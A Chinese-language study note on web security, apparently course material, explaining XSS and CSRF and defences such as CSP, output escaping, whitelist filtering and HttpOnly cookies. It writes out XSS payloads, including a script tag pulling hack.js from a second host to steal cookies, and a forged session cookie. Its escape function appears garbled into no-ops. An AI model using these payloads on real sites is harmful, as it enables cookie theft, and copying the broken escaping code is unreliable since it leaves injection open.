技术栈总结-安全
# 安全
# XSSCross Site Scripting
跨站脚本攻击 XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS 重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的非本站点 HTML 标签或 JavaScript 进行的一种攻击。
跨站脚本攻击有可能造成以下影响:利用虚假输入表单骗取用户个人信息。利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。显示伪造的文章或图片。
XSS 攻击分类反射型
- url 参数直接注入
// 普通
//localhost:3000/?from=china
// alert尝试
//localhost:3000/?from=<script>alert(3)</script>
http: // 获取Cookie
//localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
http: // 短域名伪造
//dwz.cn
http: // 伪造cookie入侵 chrome
https: document.cookie =
'kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0='
2
3
4
5
6
7
8
9
10
11
- 存储型 - 存储到 DB 后读取时注入
// 评论
<script>alert(1)</script>
// 跨站脚本注入我来了
<script src="http://localhost:4000/hack.js"></script>
2
3
4
# XSS 攻击的危害 - Scripting 能干啥就能干啥
- 获取页面数据
- 获取 Cookies
- 劫持前端逻辑
- 发送请求
- 偷取网站的任意数据
- 偷取用户的资料偷
- 取用户的秘密和登录态
- 欺骗用户
# 防范手段
- HEAD
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截但伪装一下就不行了开课吧web全栈架构师
- CSP
内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
2
3
4
5
6
7
8
9
- 转移字符
- 黑名单
用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
2
3
4
5
6
7
8
9
10
- 白名单
富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html)
2
3
4
- HttpOnly Cookie
这是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应用程序在设置 cookie 时,将其属性设为 HttpOnly,就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取,保护用户 cookie 信息。
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
# CSRF
CSRF(Cross Site Request Forgery)
即跨站请求伪造,是一种常见的 Web 攻击,它利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作
# CSRF 攻击危害
- 利用用户登录态
- 用户不知情
- 完成业务请求
- 盗取用户资金(转账,消费)
- 冒充用户发帖背锅
- 损害网站声誉
# 防御
- 禁止第三方网站带 Cookie - 有兼容性问题
- Referer Check - Https 不发送 referer
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
2
3
4
5
- 验证码
# 点击劫持 - clickjacking
# SQL 注入
# OS 命令注入
# 请求劫持
# DDOS
# 防御手段
- 备份网站 备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉用户,网站出了问题,正在全力抢修。
- HTTP 请求的拦截 高防 IP
- 靠谱的运营商 Docker 硬件服务器防火墙
- 带宽扩容 + CDN 提高犯罪成本